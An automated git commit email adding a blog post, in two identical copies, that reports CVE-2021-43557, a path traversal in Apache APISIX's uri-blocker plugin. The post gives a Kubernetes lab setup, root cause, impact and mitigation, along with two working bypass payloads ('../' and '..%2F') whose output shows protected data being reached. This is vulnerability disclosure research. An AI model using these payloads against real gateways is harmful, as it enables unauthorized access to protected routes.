This is an automated email from the ASF dual-hosted git repository.
juzhiyuan pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/apisix-website.git
The following commit(s) were added to refs/heads/master by this push:
new 5731555 docs: add CVE-2021-43557 research origin doc (#766)
5731555 is described below
commit 573155590e5e70b64d6cbb8377980d1ef9c25ed7
Author: Sylvia <[email protected]>
AuthorDate: Tue Nov 23 10:58:51 2021 +0800
docs: add CVE-2021-43557 research origin doc (#766)
Co-authored-by: 琚致远 <[email protected]>
---
.../2021/11/23/cve-2021-43557-research-report.md | 188 +++++++++++++++++++++
.../2021/11/23/cve-2021-43557-research-report.md | 188 +++++++++++++++++++++
2 files changed, 376 insertions(+)
diff --git a/website/blog/2021/11/23/cve-2021-43557-research-report.md
b/website/blog/2021/11/23/cve-2021-43557-research-report.md
new file mode 100644
index 0000000..2e0bb42
--- /dev/null
+++ b/website/blog/2021/11/23/cve-2021-43557-research-report.md
@@ -0,0 +1,188 @@
+---
+title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+author: "Marcin Niemiec"
+authorURL: "https://github.com/xvnpw"
+authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
+keywords:
+- Apache APISIX
+- CVE
+- Request_uri
+- Security
+description: Research report about Apache APISIX Path traversal in request_uri
variable(CVE-2021-43557)
+tags: [Technology]
+---
+
+> Research report about Apache APISIX Path traversal in request_uri
variable(CVE-2021-43557)
+
+<!--truncate-->
+
+In this article I will present my research on insecure usage of `$request_uri`
variable in [Apache
APISIX](https://github.com/apache/apisix-ingress-controller/) ingress
controller. My work end up in submit of security vulnerability, which was
positively confirmed and got CVE-2021-43557\. At the end of article I will
mention in short [Skipper](https://github.com/zalando/skipper) which I tested
for same problem.
+
+> Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX
provides rich traffic management features such as load balancing, dynamic
upstream, canary release, circuit breaking, authentication, observability, and
more.
+
+Why `$request_uri` ? This
[variable](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri)
is many times used in authentication and authorization plugins. It’s **not
normalized**, so giving a possibility to bypass some restrictions.
+
+In Apache APISIX there is no typical functionality of external
authentication/authorization. You can write your own plugin, but it’s quite
complicated. To prove that APISIX is vulnerable to path-traversal I will use
`uri-blocker` plugin. I’m suspecting that other plugins are also vulnerable but
this one is easy to use.
+
+## Setting the stage
+
+Install APISIX into Kubernetes. Use helm chart with version **0.7.2**:
+
+```shell
+helm repo add bitnami https://charts.bitnami.com/bitnami
+helm repo update
+kubectl create ns ingress-apisix
+helm install apisix apisix/apisix \
+ --set gateway.type=NodePort \
+ --set ingress-controller.enabled=true \
+ --namespace ingress-apisix \
+ --version 0.7.2
+kubectl get service --namespace ingress-apisix
+```
+
+In case of problems follow [official
guide](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md).
+
+To create _ingress route_, you need to deploy `ApisixRoute` resource:
+
+```yaml
+apiVersion: apisix.apache.org/v2beta1
+kind: ApisixRoute
+metadata:
+ name: public-service-route
+spec:
+ http:
+ - name: public-service-rule
+ match:
+ hosts:
+ - app.test
+ paths:
+ - /public-service/*
+ backends:
+ - serviceName: public-service
+ servicePort: 8080
+ plugins:
+ - name: proxy-rewrite
+ enable: true
+ config:
+ regex_uri: ["/public-service/(.*)", "/$1"]
+ - name: protected-service-rule
+ match:
+ hosts:
+ - app.test
+ paths:
+ - /protected-service/*
+ backends:
+ - serviceName: protected-service
+ servicePort: 8080
+ plugins:
+ - name: uri-blocker
+ enable: true
+ config:
+ block_rules: ["^/protected-service(/?).*"]
+ case_insensitive: true
+ - name: proxy-rewrite
+ enable: true
+ config:
+ regex_uri: ["/protected-service/(.*)", "/$1"]
+```
+
+Let’s dive deep into it:
+
+- It creates routes for `public-service` and `private-service`
+- There is `proxy-rewrite` turned on to remove prefixes
+- There is `uri-blocker` plugin configured for `protected-service`. It can
look like mistake but this plugin it about to block any requests starting with
`/protected-service`
+
+## Exploitation
+
+I’m using APISIX in version **2.10.0**.
+
+Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec
-it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl
--path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`.
To ease my pain I will write small script that will work as template:
+
+```shell
+#/bin/bash
+
+kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is
http://127.0.0.1:9080$1 -H 'Host: app.test'
+```
+
+In your case replace `apisix-dc9d99d76-vl5lh` with name of actual APISIX pod.
+
+Let’s start with validation if routes and plugins are working as expected:
+
+```shell
+$ ./apisix_request.sh "/public-service/public"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+{"data":"public data"}
+```
+
+```shell
+$ ./apisix_request.sh "/protected-service/protected"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+<html>
+<head><title>403 Forbidden</title></head>
+<body>
+<center><h1>403 Forbidden</h1></center>
+<hr><center>openresty</center>
+</body>
+</html>
+```
+
+Yep. `public-service` is available and `protected-service` is blocked by
plugin.
+
+Now let’s test payloads:
+
+```shell
+$ ./apisix_request.sh "/public-service/../protected-service/protected"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+{"data":"protected data"}
+```
+
+and second one:
+
+```shell
+$ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+{"data":"protected data"}
+```
+
+As you can see in both cases I was able to bypass uri restrictions.
+
+### Root cause
+
+`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of
making blocking decision. You can check it in
[code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+
+
+
+### Impact
+
+- Attacker can bypass access control restrictions and perform successful
access to routes that shouldn’t be able to,
+- Developers of custom plugins have no knowledge that `ngx.var.request_uri`
variable is untrusted.
+
+Search for usage of `var.request_uri` gave me a hint that maybe
[authz-keycloak
plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md)
is affected. You can see [this
code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578),
it looks really nasty. If there is no normalization on keycloak side, then
there is high potential for vulnerablity.
+
+### Mitigation
+
+In case of custom plugins, I suggest to do path normalization before using
`ngx.var.request_uri` variable. There are also two other variables, high
probably normalized, to check `ctx.var.upstream_uri` and `ctx.var.uri`.
+
+## Skipper
+
+Skipper is another ingress controller that I have investigated. It’s not easy
to install it in kubernetes, because deployment guide and helm charts are
outdated. Luckily I have found issue page where developer was describing how to
install it. This ingress gives possibility to implement external authentication
based on [webhook
filter](https://opensource.zalando.com/skipper/reference/filters/#webhook):
+
+```yaml
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: my-ingress
+ annotations:
+ zalando.org/skipper-filter: |
+ modPath("^/.*/", "/") ->
setRequestHeader("X-Auth-Request-Redirect", "${request.path}") ->
webhook("http://auth-service.default.svc.cluster.local:8080/verify")
+```
+
+To add some interesting headers that could help in access control decision,
you need to do it manually with `setRequestHeader` filter. There is template
available to inject variable by `${}`. Sadly (for attackers) `${request.path}`
is having normalized path. I see in code that developers are not using _easily_
`RequestURI` or `originalRequest`.
+
+I wasn’t able to exploit path traversal in this case. Skipper remains safe.
+
+## Summary
+
+Apache APISIX is vulnerable for path traversal. It’s not affecting any
external authentication, but plugins that are using `ctx.var.request_uri`
variable.
+
+Whole code of this example is here
[https://github.com/xvnpw/k8s-CVE-2021-43557-poc](https://github.com/xvnpw/k8s-CVE-2021-43557-poc).
diff --git
a/website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
b/website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
new file mode 100644
index 0000000..2e0bb42
--- /dev/null
+++
b/website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
@@ -0,0 +1,188 @@
+---
+title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+author: "Marcin Niemiec"
+authorURL: "https://github.com/xvnpw"
+authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
+keywords:
+- Apache APISIX
+- CVE
+- Request_uri
+- Security
+description: Research report about Apache APISIX Path traversal in request_uri
variable(CVE-2021-43557)
+tags: [Technology]
+---
+
+> Research report about Apache APISIX Path traversal in request_uri
variable(CVE-2021-43557)
+
+<!--truncate-->
+
+In this article I will present my research on insecure usage of `$request_uri`
variable in [Apache
APISIX](https://github.com/apache/apisix-ingress-controller/) ingress
controller. My work end up in submit of security vulnerability, which was
positively confirmed and got CVE-2021-43557\. At the end of article I will
mention in short [Skipper](https://github.com/zalando/skipper) which I tested
for same problem.
+
+> Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX
provides rich traffic management features such as load balancing, dynamic
upstream, canary release, circuit breaking, authentication, observability, and
more.
+
+Why `$request_uri` ? This
[variable](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri)
is many times used in authentication and authorization plugins. It’s **not
normalized**, so giving a possibility to bypass some restrictions.
+
+In Apache APISIX there is no typical functionality of external
authentication/authorization. You can write your own plugin, but it’s quite
complicated. To prove that APISIX is vulnerable to path-traversal I will use
`uri-blocker` plugin. I’m suspecting that other plugins are also vulnerable but
this one is easy to use.
+
+## Setting the stage
+
+Install APISIX into Kubernetes. Use helm chart with version **0.7.2**:
+
+```shell
+helm repo add bitnami https://charts.bitnami.com/bitnami
+helm repo update
+kubectl create ns ingress-apisix
+helm install apisix apisix/apisix \
+ --set gateway.type=NodePort \
+ --set ingress-controller.enabled=true \
+ --namespace ingress-apisix \
+ --version 0.7.2
+kubectl get service --namespace ingress-apisix
+```
+
+In case of problems follow [official
guide](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md).
+
+To create _ingress route_, you need to deploy `ApisixRoute` resource:
+
+```yaml
+apiVersion: apisix.apache.org/v2beta1
+kind: ApisixRoute
+metadata:
+ name: public-service-route
+spec:
+ http:
+ - name: public-service-rule
+ match:
+ hosts:
+ - app.test
+ paths:
+ - /public-service/*
+ backends:
+ - serviceName: public-service
+ servicePort: 8080
+ plugins:
+ - name: proxy-rewrite
+ enable: true
+ config:
+ regex_uri: ["/public-service/(.*)", "/$1"]
+ - name: protected-service-rule
+ match:
+ hosts:
+ - app.test
+ paths:
+ - /protected-service/*
+ backends:
+ - serviceName: protected-service
+ servicePort: 8080
+ plugins:
+ - name: uri-blocker
+ enable: true
+ config:
+ block_rules: ["^/protected-service(/?).*"]
+ case_insensitive: true
+ - name: proxy-rewrite
+ enable: true
+ config:
+ regex_uri: ["/protected-service/(.*)", "/$1"]
+```
+
+Let’s dive deep into it:
+
+- It creates routes for `public-service` and `private-service`
+- There is `proxy-rewrite` turned on to remove prefixes
+- There is `uri-blocker` plugin configured for `protected-service`. It can
look like mistake but this plugin it about to block any requests starting with
`/protected-service`
+
+## Exploitation
+
+I’m using APISIX in version **2.10.0**.
+
+Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec
-it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl
--path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`.
To ease my pain I will write small script that will work as template:
+
+```shell
+#/bin/bash
+
+kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is
http://127.0.0.1:9080$1 -H 'Host: app.test'
+```
+
+In your case replace `apisix-dc9d99d76-vl5lh` with name of actual APISIX pod.
+
+Let’s start with validation if routes and plugins are working as expected:
+
+```shell
+$ ./apisix_request.sh "/public-service/public"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+{"data":"public data"}
+```
+
+```shell
+$ ./apisix_request.sh "/protected-service/protected"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+<html>
+<head><title>403 Forbidden</title></head>
+<body>
+<center><h1>403 Forbidden</h1></center>
+<hr><center>openresty</center>
+</body>
+</html>
+```
+
+Yep. `public-service` is available and `protected-service` is blocked by
plugin.
+
+Now let’s test payloads:
+
+```shell
+$ ./apisix_request.sh "/public-service/../protected-service/protected"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+{"data":"protected data"}
+```
+
+and second one:
+
+```shell
+$ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
+Defaulted container "apisix" out of: apisix, wait-etcd (init)
+{"data":"protected data"}
+```
+
+As you can see in both cases I was able to bypass uri restrictions.
+
+### Root cause
+
+`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of
making blocking decision. You can check it in
[code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+
+
+
+### Impact
+
+- Attacker can bypass access control restrictions and perform successful
access to routes that shouldn’t be able to,
+- Developers of custom plugins have no knowledge that `ngx.var.request_uri`
variable is untrusted.
+
+Search for usage of `var.request_uri` gave me a hint that maybe
[authz-keycloak
plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md)
is affected. You can see [this
code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578),
it looks really nasty. If there is no normalization on keycloak side, then
there is high potential for vulnerablity.
+
+### Mitigation
+
+In case of custom plugins, I suggest to do path normalization before using
`ngx.var.request_uri` variable. There are also two other variables, high
probably normalized, to check `ctx.var.upstream_uri` and `ctx.var.uri`.
+
+## Skipper
+
+Skipper is another ingress controller that I have investigated. It’s not easy
to install it in kubernetes, because deployment guide and helm charts are
outdated. Luckily I have found issue page where developer was describing how to
install it. This ingress gives possibility to implement external authentication
based on [webhook
filter](https://opensource.zalando.com/skipper/reference/filters/#webhook):
+
+```yaml
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: my-ingress
+ annotations:
+ zalando.org/skipper-filter: |
+ modPath("^/.*/", "/") ->
setRequestHeader("X-Auth-Request-Redirect", "${request.path}") ->
webhook("http://auth-service.default.svc.cluster.local:8080/verify")
+```
+
+To add some interesting headers that could help in access control decision,
you need to do it manually with `setRequestHeader` filter. There is template
available to inject variable by `${}`. Sadly (for attackers) `${request.path}`
is having normalized path. I see in code that developers are not using _easily_
`RequestURI` or `originalRequest`.
+
+I wasn’t able to exploit path traversal in this case. Skipper remains safe.
+
+## Summary
+
+Apache APISIX is vulnerable for path traversal. It’s not affecting any
external authentication, but plugins that are using `ctx.var.request_uri`
variable.
+
+Whole code of this example is here
[https://github.com/xvnpw/k8s-CVE-2021-43557-poc](https://github.com/xvnpw/k8s-CVE-2021-43557-poc).